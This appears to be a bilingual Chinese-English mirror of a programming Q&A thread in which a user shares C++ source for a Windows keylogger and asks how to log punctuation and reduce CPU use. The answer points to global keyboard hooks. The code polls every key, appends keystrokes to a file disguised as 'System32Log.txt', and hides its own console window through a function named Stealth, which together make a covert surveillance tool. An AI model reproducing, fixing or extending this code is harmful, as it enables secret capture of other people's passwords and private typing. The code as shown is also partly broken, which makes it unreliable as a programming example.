制作键盘记录器

问题描述

我想在自己的电脑上制作一个小键盘记录器，看看按键是如何使用C ++的。我发现了一些在线代码，只是编辑了一些，虽然我不知道如何做我想做的。

I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

我想修复它，以正确存储像。 ，或更多，但我不知道，因为我不熟悉的关键笔划。另外，我想添加一些东西，这将使它使用更少的CPU（目前在我的i5 25％），我应该可能使用睡眠（值），虽然我不知道哪个值。

I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.

推荐答案

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That's it for a global hook (the second link provides information in MSDN). Research on the SetWindowsHookEx function and try to understand the mechanisms behind it and you'll soon succeed. You can also refine your search on stackoverflow using "hook" as keyword in your search (e.g. reading this here)

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